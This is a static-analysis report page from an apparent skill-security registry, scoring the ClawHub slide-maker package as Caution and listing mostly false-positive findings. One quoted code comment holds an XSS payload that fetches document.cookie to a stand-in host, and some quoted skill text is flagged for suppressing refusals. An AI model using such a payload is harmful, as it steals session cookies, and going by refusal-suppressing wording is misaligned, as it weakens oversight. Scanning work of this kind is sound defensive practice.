Skills/ClawHub/slide-maker

slide-maker@6.2.0

CAUTION· static only

Publisher claims: "Details in https://github.com/addsumtech/slides_maker" Observed in sandbox: static analysis only — behavior not yet observed.

Registry ClawHubPublisher dong845 · publishing for 60 daysInstalls 782Last detonated 6d ago
What would fix thisWatchDispute verdict

Coverage

Static only; nothing was run yet.

The label rests on the code, the instruction files and the publisher. The honeypot run replaces this verdict when it completes.

Is [email protected] safe to install?

KillerSkills analysed it statically (a sandbox run is pending) on 2026-11-08 and scored it 46/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: document.cookie access; Refusal suppression; Privileged sudo command. Summary: static analysis only — behavior not yet observed.

Behavior trace

Queued for honeypot run · static analysis only
t+CategoryObserved action

This version has not been detonated yet. The score above counts behavior as unknown (50/100), so it cannot read Verified until the honeypot run completes and replaces this verdict.

Static findings

HIGH
document.cookie accessscripts/archetypes_html.py:97 · document.cookie access — can steal session cookies# so a value like `#fff" onmouseover="fetch('http://x/'+document.cookie)` broke out of theFix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
HIGH
Refusal suppressionSKILL.md:2156 · Refusal suppression — attempting to prevent safety responses`review: thorough (escalated — defense deck, auto)` — it may only never decline.Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01
HIGH
Privileged sudo commandscripts/check_env.py:262 · Privileged sudo command — agent may execute with elevated privileges"macOS: brew install cairo | Ubuntu: sudo apt install libcairo2 | "Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Destructive file system command detectedscripts/check_register_pixels.py:175 · Destructive file system command detectedd2 = (2 + rm / 256.0) * dr * dr + 4 * dg * dg + (2 + (255 - rm) / 256.0) * db * dbFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Privileged sudo commandscripts/check_env.py:99 · Privileged sudo command — agent may execute with elevated privilegesinstalls — LibreOffice, an SVG rasterizer — are heavier, need sudo / a package manager / a GUIFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Privileged sudo commandscripts/check_env.py:269 · Privileged sudo command — agent may execute with elevated privileges"Ubuntu: sudo apt install librsvg2-bin | "Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Destructive file system command detectedscripts/check_register_pixels.py:70 · Destructive file system command detectedreturn ((2 + rm / 256.0) * dr * dr + 4 * dg * dg + (2 + (255 - rm) / 256.0) * db * db) ** 0.5Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Privileged sudo commandscripts/check_env.py:145 · Privileged sudo command — agent may execute with elevated privileges" macOS: brew install --cask libreoffice · Ubuntu: sudo apt install "Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Privileged sudo commandscripts/check_env.py:139 · Privileged sudo command — agent may execute with elevated privileges"Install one once: macOS: brew install librsvg · Ubuntu: sudo apt install "Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/arc_divergence.py:15 · Process kill command — agent can terminate processesnever-auto-kill response, same "record the justification on the gate line" escape — because theFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandSKILL.md:1713 · Process kill command — agent can terminate processeskill the gap"). *(Why this tick exists, measured: across three delivered decks the build scriptsFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/arc_divergence.py:457 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
File type combined with upload actionSKILL.md:1831 · File type combined with upload action — agent may exfiltrate local data files`.codex-delivery-receipt.json` output. Before sharing a file path, download link, file citation, orFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
HIGH
Destructive file system command detectedscripts/vl_langs/bricks.py:74 · Destructive file system command detectedreturn math.sqrt((2 + rm / 256.0) * dr * dr + 4 * dg * dg + (2 + (255 - rm) / 256.0) * db * db)Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Destructive file system command detectedscripts/palette_audit.py:268 · Destructive file system command detectedreturn ((2 + rm / 256.0) * dr * dr + 4 * dg * dg + (2 + (255 - rm) / 256.0) * db * db) ** 0.5Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
URL with suspicious TLDscripts/archetypes_html.py:396 · URL with suspicious TLD — commonly used for phishing/malware_SAMPLE_URL_OK = re.compile(r"^https://slides\.addsum\.top/languages/media/[a-z0-9_]+/sample-[a-z0-9_]+\.jpg$")Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
MEDIUM
File type combined with upload actionSKILL.md:924 · File type combined with upload action — agent may exfiltrate local data files…o/build_<deck>.py` works from anywhere. - **Brand branch** — a confirmed `brand.json` from Step 0: `python3 scripts/brand_kit.py style <deck-dir>/brand.json [--ground dark]` writes `brand_style.py` beside it (the presets' shape and style.p…Fix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
MEDIUM
npx invocation of non-well-known packageSKILL.md:339 · npx invocation of non-well-known package — may execute untrusted code… npm package and opens a live site. With Node 22+ and a Chrome-family browser, `npx [email protected] <url> --no-stores --out <deck-dir>/brand-src` opens the site in a headless Chro…Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Process kill commandscripts/archetypes_html.py:998 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
npx invocation of non-well-known packageSKILL.md:288 · npx invocation of non-well-known package — may execute untrusted codeper-`shape` update command (never `npx skills add` on a plugin install), the rule to re-read SKILL.md after anFix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Process kill commandagents/content-planner.md:678 · Process kill command — agent can terminate processesblown at the source, here.) **Write the copy like a sharp human in that field, not a content generator — kill theFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Destructive file system command detectedscripts/lint_deck.py:337 · Destructive file system command detectedd = (2 + rm / 256.0) * dr * dr + 4 * dg * dg + (2 + (255 - rm) / 256.0) * db * dbFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Privileged sudo commandscripts/render_deck.py:4751 · Privileged sudo command — agent may execute with elevated privileges" Debian/Ubuntu: sudo apt install libreoffice\n"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
File type combined with upload actionSKILL.md:1785 · File type combined with upload action — agent may exfiltrate local data files… the layout lint** — `python3 scripts/lint_deck.py <deck.pptx>` (add `--json out.json` for a structured copy of findings + the stats block — hand THAT to dispatched critics instead of re-parsing console text; the lint auto-reads the `./ren…Fix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
MEDIUM
Process kill commandscripts/codex_delivery_gate.py:3057 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
npx invocation of non-well-known packagescripts/check_version.py:100 · npx invocation of non-well-known package — may execute untrusted codenpx copy on the same machine answer for each other — and the wrong one is the dangerousFix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Python subprocess execution detectedscripts/check_env.py:118 · Python subprocess execution detectedr = subprocess.run([sys.executable, "-m", "pip", "install", *extra, *miss],Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Process kill commandscripts/check_register_pixels.py:718 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/check_style_applied.py:285 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedscripts/codex_delivery_gate.py:2440 · Python subprocess execution detectedresult = subprocess.run(command, capture_output=True, text=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
npx invocation of non-well-known packagescripts/check_version.py:23 · npx invocation of non-well-known package — may execute untrusted codeREPO ROOT, which `npx skills add` does not copy — so a copy install used to have literallyFix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Process kill commandscripts/check_image_provenance.py:467 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
npx invocation of non-well-known packagescripts/check_version.py:153 · npx invocation of non-well-known package — may execute untrusted code# working tree to run `npx skills add` and overwrite itself. Stay silent instead.Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Process kill commandscripts/brand_kit.py:1892 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
npx invocation of non-well-known packagescripts/check_version.py:20 · npx invocation of non-well-known package — may execute untrusted codenpx skills add (a COPY) no .git, no CHANGELOG -> ask GitHub for the VERSION fileFix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Process kill commandscripts/assemble.py:132 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedscripts/check_version.py:131 · Python subprocess execution detectedr = subprocess.run(["git", "-C", str(SKILL_ROOT), *args],Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
npx invocation of non-well-known packagescripts/check_version.py:175 · npx invocation of non-well-known package — may execute untrusted codesystem — telling it `npx skills add` would install a second, competing copy beside it."""Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Process kill commandscripts/check_env.py:295 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/fetch_images.py:863 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/design_plan_record.py:350 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a character, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/directions_diversity.py:406 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/deck_versions.py:1251 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/extract_pdf.py:1180 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/contact_sheet.py:102 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/dispatch_brief.py:327 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/component_audit.py:401 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/deck_gates.py:971 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedscripts/deck_cycle.py:252 · Python subprocess execution detectedproc = subprocess.run(cmd, capture_output=True, text=True, cwd=cwd)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Process kill commandscripts/export_notes.py:72 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/extract_deck.py:192 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/deck_cycle.py:418 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/codex_handoff_guard.py:59 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/codex_visual_contract.py:305 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/fanout_record.py:201 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedscripts/generate_images_codex.py:414 · Python subprocess execution detectedstdout = subprocess.run(cmd, cwd=str(work), stdin=subprocess.DEVNULL,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Process kill commandscripts/generate_images_codex.py:782 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/lint_deck.py:4583 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedscripts/icons.py:370 · Python subprocess execution detectedsubprocess.run(["rsvg-convert", "-w", str(out_px), "-h", str(out_px),Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Process kill commandscripts/palette_audit.py:315 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedscripts/icons.py:391 · Python subprocess execution detectedsubprocess.run([chrome, "--headless", "--disable-gpu", f"--screenshot={out_png}",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedscripts/ingest.py:248 · Python subprocess execution detectedr = subprocess.run([ffprobe, "-v", "error", "-show_entries", "format=duration",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedscripts/ingest.py:260 · Python subprocess execution detectedr = subprocess.run([ffprobe, "-v", "error", "-select_streams", "v", "-show_entries",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Process kill commandscripts/image_prompts.py:186 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/formats.py:285 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/plan_wordcount.py:73 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/image_qc.py:666 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/preflight_check.py:756 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedscripts/ingest.py:224 · Python subprocess execution detectedr = subprocess.run(cmd, capture_output=True, text=True, timeout=180)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedscripts/ingest.py:292 · Python subprocess execution detectedsubprocess.run(cmd, capture_output=True, text=True, timeout=600, check=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Process kill commandscripts/ingest.py:349 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/render_deck.py:5224 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedscripts/render_deck.py:1147 · Python subprocess execution detectedr = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Process kill commandscripts/trace_composed.py:157 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
URL with suspicious TLDscripts/visual_languages.py:2290 · URL with suspicious TLD — commonly used for phishing/malwareSAMPLE_SITE = "https://slides.addsum.top/languages/media/{name}/sample-{ground}.jpg"Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
MEDIUM
npx invocation of non-well-known packagescripts/preflight_check.py:413 · npx invocation of non-well-known package — may execute untrusted codeMeasured: a deck shipped `npx skills add addsumtech/slides_maker` in a code panel. In theFix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Process kill commandscripts/slide_index.py:119 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Unicode escape sequence detectedscripts/save_register.py:70 · Unicode escape sequence detected — may contain obfuscated payloadsn = re.sub(r"[\u300c\u300d\u2018\u2019\u201c\u201d\'\"]+", "", n)Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST07
MEDIUM
Process kill commandscripts/sigs.py:1102 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
npx invocation of non-well-known packagescripts/skill_fingerprint.py:18 · npx invocation of non-well-known package — may execute untrusted codeinstaller chooses what to copy (`npx skills add` lands ~55 files where the tree has ~193), soFix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Python subprocess execution detectedscripts/smoke_deckkit.py:661 · Python subprocess execution detectedreturn subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Process kill commandscripts/progress.py:214 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a character, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/validate_review.py:875 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/smoke_deckkit.py:18 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedscripts/render_deck.py:1200 · Python subprocess execution detectedr = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Process kill commandscripts/registry.py:104 · Process kill command — agent can terminate processesPermissionError raised out of the Step-0 interview would kill a deck over a directory theFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedscripts/render_deck.py:1238 · Python subprocess execution detectedresult = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedscripts/progress.py:140 · Python subprocess execution detectedsubprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Process kill commandscripts/registry.py:201 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/roundtrip_budget.py:240 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandscripts/written_reason.py:48 · Process kill command — agent can terminate processesfrom _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
URL with suspicious TLDscripts/vl_docs.py:91 · URL with suspicious TLD — commonly used for phishing/malware("https://slides.addsum.top/#vl-", "Preview all pages")Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
LOW
Refusal suppressionreferences/auto-delegation-quality-gates.md:22 · Refusal suppression — attempting to prevent safety responses · informational: not an instruction filecarrying both lenses — and may escalate, never decline; see "Review tier in auto mode").Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01
MEDIUM
URL with suspicious TLDscripts/vl_docs.py:90 · URL with suspicious TLD — commonly used for phishing/malwaresite, more = ("https://slides.addsum.top/cn/#vl-", "查看全部页面") if zh else \Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
MEDIUM
URL with suspicious TLDscripts/vl_docs.py:74 · URL with suspicious TLD — commonly used for phishing/malwareLIBRARY_ZH = "https://slides.addsum.top/cn/#languages"Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
MEDIUM
URL with suspicious TLDscripts/vl_docs.py:73 · URL with suspicious TLD — commonly used for phishing/malwareLIBRARY = "https://slides.addsum.top/#languages" # the library is a section of the home page (2026-10-23)Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07

Cost to the agent

Instructions loaded
≈61,767 tok
1 file · 198 in bundle

Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.

Known vulnerabilities

Vulnerability advisories (OSV) cover npm and PyPI packages; this registry has no advisory database.

What would make this Verified

34 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. Unclaimed publisher≈ +8 on the totalClaim dong845: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  2. document.cookie access≈ +4 on the totalReplace encoded or assembled strings with plain literals and remove undeclared network calls.
  3. Privileged sudo command≈ +4 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  4. Destructive file system command detected≈ +4 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  5. Process kill command≈ +2 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  6. File type combined with upload action≈ +2 on the totalRemove the call, or declare the host in frontmatter and explain in the README what is sent and why.
Publish a new version to ClawHub, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim dong845Propose a patch to the maintainer